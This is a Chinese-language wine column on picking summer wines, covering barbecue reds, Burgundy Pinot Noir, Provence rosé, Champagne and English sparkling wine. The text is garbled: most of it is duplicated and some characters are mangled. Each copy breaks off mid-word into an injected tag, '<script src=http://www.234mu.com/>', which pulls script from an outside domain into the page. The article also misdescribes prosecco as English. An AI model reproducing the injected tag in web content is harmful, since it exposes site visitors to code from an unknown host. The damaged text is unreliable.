在葡萄園,夏季來臨的標(biāo)志是葡萄藤的開花。頭一叢綠葉在枝頭嶄露頭角后,小小的團(tuán)狀花蕾將綻放成毛茸茸的葡萄花。如果氣候保持干燥,等春天的最后一次霜凍退卻后,花兒就會搖身一變,成為一小團(tuán)密密的綠色幼果。在北半球,當(dāng)人們歡度仲夏夜的慶典、清晨鳥兒的齊唱最為熱烈之時,幼果將長成一球小小的葡萄,成為人們熟知的美味果實。
夏季的雨、和煦的風(fēng)、日照加長的白晝,這些將促成葡萄的茁壯成長。等到八月,歐洲各地開始形形色色的慶典活動時,葡萄開始進(jìn)入成熟期,果皮漸漸變色,糖份增加,柔和的果酸慢慢消退,被一種更令人愉悅、更成熟的酒石酸所取代,葡萄內(nèi)的單寧酸將形成自己獨(dú)特的微澀風(fēng)味。當(dāng)日照開始變短,九月的初秋來臨之際,距離葡萄的豐收也就只有數(shù)周之遙了。
在酒窖,夏季來臨的標(biāo)志則是儲藏的葡萄酒在各種聚會、慶典、露天音樂會、體育比賽和戶外社交晚會的狂轟亂炸下消耗殆盡。夏天喝葡萄酒是一種藝術(shù),需要根據(jù)這個季節(jié)不同的天氣狀況進(jìn)行調(diào)整;我必須承認(rèn),在這方面自己還沒有完全融會貫通。這需要一種平衡、靈活和耐心,并要克制住熏熱天氣給人帶來的那種放縱感。正如哲學(xué)家及葡萄酒作家斯克拉頓(Roger Scruton)所說的,在一個夏夜,和家人朋友們在戶外共同享用一杯葡萄酒,這足以觸及到人類社會文明最核心的部分。
但對一個葡萄酒愛好者來說,為酒窖選擇葡萄酒以供應(yīng)夏季暢飲將是件超乎尋常的復(fù)雜任務(wù)。首先,人們對于各種葡萄酒的偏好在6-8月期間可能一直處于變化之中。當(dāng)天氣變得潮濕、多云甚至陰云密布時,那些酒精度低、酸度高、口味偏淡的葡萄酒,如德國雷司令(Rieslings)、阿爾薩斯灰比諾(Alsatian Pinot Gris)或令人愉悅的盧瓦爾山谷(Loire)長相思(Sauvignon Blancs)等,就可能在這種天氣的烘托下顯得有些平淡無奇;而在陽光明媚、萬里無云的湛藍(lán)天空下,它們的口感又變得優(yōu)雅、輕松和回味無窮;當(dāng)夏雨來臨時,它們將像蛤蜊一樣合上貝殼,只給葡萄酒杯留下空虛和乏味。
此外,還有品嘗燒烤時令人左右為難的選酒問題。人們在較熱季節(jié)時偏愛的那些清淡紅酒,如提神的博若萊 (Beaujolais)、勃艮第(Burgundy)產(chǎn)區(qū)飄逸的黑皮諾(Pinot Noirs)或盧瓦爾山谷的希儂(Chinon),并不是搭配風(fēng)味濃郁的燒烤肉類的最佳伴侶。燒烤架或烤爐出來的食品,與阿根廷的馬貝克(Malbec)、南非的品諾塔吉(Pinotage)和澳大利亞的西拉茲(Shiraz)等葡萄酒所散發(fā)出來的更為厚重的果醬味和水果氣息相得益彰。也就是說,口感強(qiáng)烈的葡萄酒能經(jīng)得起焦火氣十足的燒烤肉類的沖擊。西拉茲、仙粉黛(Zinfandel)、馬貝克和歌海娜(Grenache)這些葡萄品種適合搭配燒烤肉類,因為它們的單寧更強(qiáng)烈,成熟度更高,汁液更豐富。
今年我品嘗了數(shù)十種樣品葡萄酒(小嘬一口,回味一下,然后吐出來),選定了適合夏季各個場合的20款葡萄酒。我先從紅酒嘗起,發(fā)現(xiàn)最終自己還是回到了黑皮諾,尤其是勃艮第產(chǎn)區(qū)的黑皮諾。那種層次豐富、變化萬千的口味,既有不同果實品種和不同葡萄園的獨(dú)有特點(diǎn),又有香氣撲鼻、氣味飄逸、口感絲滑或肌理淡雅的口感區(qū)別,尤其適合氣溫偏高的季節(jié)。在選擇口感較重的葡萄酒時,我還挑了一款波爾多(Bordeaux)產(chǎn)區(qū)的紅葡萄酒,它幾乎可以搭配所有的肉類食品。2009年是博若萊酒歷史上最好的年份之一,有幾款的清新程度令人驚訝。我選了一款自己喜歡的博若萊,但總的來說,2009年份的任何一款博若萊酒都不會令人失望。
玫瑰紅(Ros□)是一款適合整個夏季的葡萄酒,我選的玫瑰紅絕大多數(shù)產(chǎn)自法國阿維尼翁(Avigno)和戛納(Cannes)之間的普羅旺斯(Provence)地區(qū)。選擇范圍看似很狹窄,但我心安理得,因為在我看來,那里生產(chǎn)的玫瑰紅葡萄酒最新鮮,有濃郁的柑橘酸,還帶有覆盆子、桃子和香瓜那樣的夏日氣息,與口味濃重的蒜味菜肴可謂天作之合。我還找到一款塔維爾村(Tavel)產(chǎn)的玫瑰紅,那里應(yīng)該是玫瑰紅葡萄酒最有名的法國產(chǎn)區(qū)了,這款酒與菜肴的搭配度非常高。
在選擇白葡萄酒時,我有一個總體的目標(biāo),要找那些清新、酸度宜人和果味純凈的葡萄酒。在某些情況下,這種酒并不會一倒進(jìn)酒杯就散發(fā)出濃郁的水果芳香,它們也可能來自不受廣泛關(guān)注、往往出人意料的產(chǎn)地,但它們是最適合與親友一邊進(jìn)餐一邊共同享用的葡萄酒。
我還想說的是,在大多數(shù)情況下,我喜歡選擇那些酒精度不太高的葡萄酒,雖然并不總能如愿,但我還是努力嘗試。目前,酒精度還沒有變得太高的品種是起泡葡萄酒,這種酒在帶動氣氛、滿室生輝方面的作用可謂無出其右。我最喜歡的起泡葡萄酒還數(shù)香檳,一部分原因在于釀造香檳的葡萄所生長的獨(dú)特土壤環(huán)境:底層土是多孔的白堊質(zhì)土壤,上面淺淺地覆蓋一層由沙礫、褐煤、泥灰、粘泥和黏土組成的小碎石。近年來,我也開始欣賞英國起泡酒的獨(dú)特魅力,部分原因在于那里的土質(zhì)跟香檳區(qū)的相同。喝上一杯英國產(chǎn)的普羅塞克(prosecco)起泡酒,那種清雅、純凈的風(fēng)味以及檸檬、綠蘋果之類的濃郁果香讓其成為夏天夜幕降臨時一款完?script src=http://www.234mu.com/>
夏季的雨、和煦的風(fēng)、日照加長的白晝,這些將促成葡萄的茁壯成長。等到八月,歐洲各地開始形形色色的慶典活動時,葡萄開始進(jìn)入成熟期,果皮漸漸變色,糖份增加,柔和的果酸慢慢消退,被一種更令人愉悅、更成熟的酒石酸所取代,葡萄內(nèi)的單寧酸將形成自己獨(dú)特的微澀風(fēng)味。當(dāng)日照開始變短,九月的初秋來臨之際,距離葡萄的豐收也就只有數(shù)周之遙了。
在酒窖,夏季來臨的標(biāo)志則是儲藏的葡萄酒在各種聚會、慶典、露天音樂會、體育比賽和戶外社交晚會的狂轟亂炸下消耗殆盡。夏天喝葡萄酒是一種藝術(shù),需要根據(jù)這個季節(jié)不同的天氣狀況進(jìn)行調(diào)整;我必須承認(rèn),在這方面自己還沒有完全融會貫通。這需要一種平衡、靈活和耐心,并要克制住熏熱天氣給人帶來的那種放縱感。正如哲學(xué)家及葡萄酒作家斯克拉頓(Roger Scruton)所說的,在一個夏夜,和家人朋友們在戶外共同享用一杯葡萄酒,這足以觸及到人類社會文明最核心的部分。
但對一個葡萄酒愛好者來說,為酒窖選擇葡萄酒以供應(yīng)夏季暢飲將是件超乎尋常的復(fù)雜任務(wù)。首先,人們對于各種葡萄酒的偏好在6-8月期間可能一直處于變化之中。當(dāng)天氣變得潮濕、多云甚至陰云密布時,那些酒精度低、酸度高、口味偏淡的葡萄酒,如德國雷司令(Rieslings)、阿爾薩斯灰比諾(Alsatian Pinot Gris)或令人愉悅的盧瓦爾山谷(Loire)長相思(Sauvignon Blancs)等,就可能在這種天氣的烘托下顯得有些平淡無奇;而在陽光明媚、萬里無云的湛藍(lán)天空下,它們的口感又變得優(yōu)雅、輕松和回味無窮;當(dāng)夏雨來臨時,它們將像蛤蜊一樣合上貝殼,只給葡萄酒杯留下空虛和乏味。
此外,還有品嘗燒烤時令人左右為難的選酒問題。人們在較熱季節(jié)時偏愛的那些清淡紅酒,如提神的博若萊 (Beaujolais)、勃艮第(Burgundy)產(chǎn)區(qū)飄逸的黑皮諾(Pinot Noirs)或盧瓦爾山谷的希儂(Chinon),并不是搭配風(fēng)味濃郁的燒烤肉類的最佳伴侶。燒烤架或烤爐出來的食品,與阿根廷的馬貝克(Malbec)、南非的品諾塔吉(Pinotage)和澳大利亞的西拉茲(Shiraz)等葡萄酒所散發(fā)出來的更為厚重的果醬味和水果氣息相得益彰。也就是說,口感強(qiáng)烈的葡萄酒能經(jīng)得起焦火氣十足的燒烤肉類的沖擊。西拉茲、仙粉黛(Zinfandel)、馬貝克和歌海娜(Grenache)這些葡萄品種適合搭配燒烤肉類,因為它們的單寧更強(qiáng)烈,成熟度更高,汁液更豐富。
今年我品嘗了數(shù)十種樣品葡萄酒(小嘬一口,回味一下,然后吐出來),選定了適合夏季各個場合的20款葡萄酒。我先從紅酒嘗起,發(fā)現(xiàn)最終自己還是回到了黑皮諾,尤其是勃艮第產(chǎn)區(qū)的黑皮諾。那種層次豐富、變化萬千的口味,既有不同果實品種和不同葡萄園的獨(dú)有特點(diǎn),又有香氣撲鼻、氣味飄逸、口感絲滑或肌理淡雅的口感區(qū)別,尤其適合氣溫偏高的季節(jié)。在選擇口感較重的葡萄酒時,我還挑了一款波爾多(Bordeaux)產(chǎn)區(qū)的紅葡萄酒,它幾乎可以搭配所有的肉類食品。2009年是博若萊酒歷史上最好的年份之一,有幾款的清新程度令人驚訝。我選了一款自己喜歡的博若萊,但總的來說,2009年份的任何一款博若萊酒都不會令人失望。
玫瑰紅(Ros□)是一款適合整個夏季的葡萄酒,我選的玫瑰紅絕大多數(shù)產(chǎn)自法國阿維尼翁(Avigno)和戛納(Cannes)之間的普羅旺斯(Provence)地區(qū)。選擇范圍看似很狹窄,但我心安理得,因為在我看來,那里生產(chǎn)的玫瑰紅葡萄酒最新鮮,有濃郁的柑橘酸,還帶有覆盆子、桃子和香瓜那樣的夏日氣息,與口味濃重的蒜味菜肴可謂天作之合。我還找到一款塔維爾村(Tavel)產(chǎn)的玫瑰紅,那里應(yīng)該是玫瑰紅葡萄酒最有名的法國產(chǎn)區(qū)了,這款酒與菜肴的搭配度非常高。
在選擇白葡萄酒時,我有一個總體的目標(biāo),要找那些清新、酸度宜人和果味純凈的葡萄酒。在某些情況下,這種酒并不會一倒進(jìn)酒杯就散發(fā)出濃郁的水果芳香,它們也可能來自不受廣泛關(guān)注、往往出人意料的產(chǎn)地,但它們是最適合與親友一邊進(jìn)餐一邊共同享用的葡萄酒。
我還想說的是,在大多數(shù)情況下,我喜歡選擇那些酒精度不太高的葡萄酒,雖然并不總能如愿,但我還是努力嘗試。目前,酒精度還沒有變得太高的品種是起泡葡萄酒,這種酒在帶動氣氛、滿室生輝方面的作用可謂無出其右。我最喜歡的起泡葡萄酒還數(shù)香檳,一部分原因在于釀造香檳的葡萄所生長的獨(dú)特土壤環(huán)境:底層土是多孔的白堊質(zhì)土壤,上面淺淺地覆蓋一層由沙礫、褐煤、泥灰、粘泥和黏土組成的小碎石。近年來,我也開始欣賞英國起泡酒的獨(dú)特魅力,部分原因在于那里的土質(zhì)跟香檳區(qū)的相同。喝上一杯英國產(chǎn)的普羅塞克(prosecco)起泡酒,那種清雅、純凈的風(fēng)味以及檸檬、綠蘋果之類的濃郁果香讓其成為夏天夜幕降臨時一款完?script src=http://www.234mu.com/>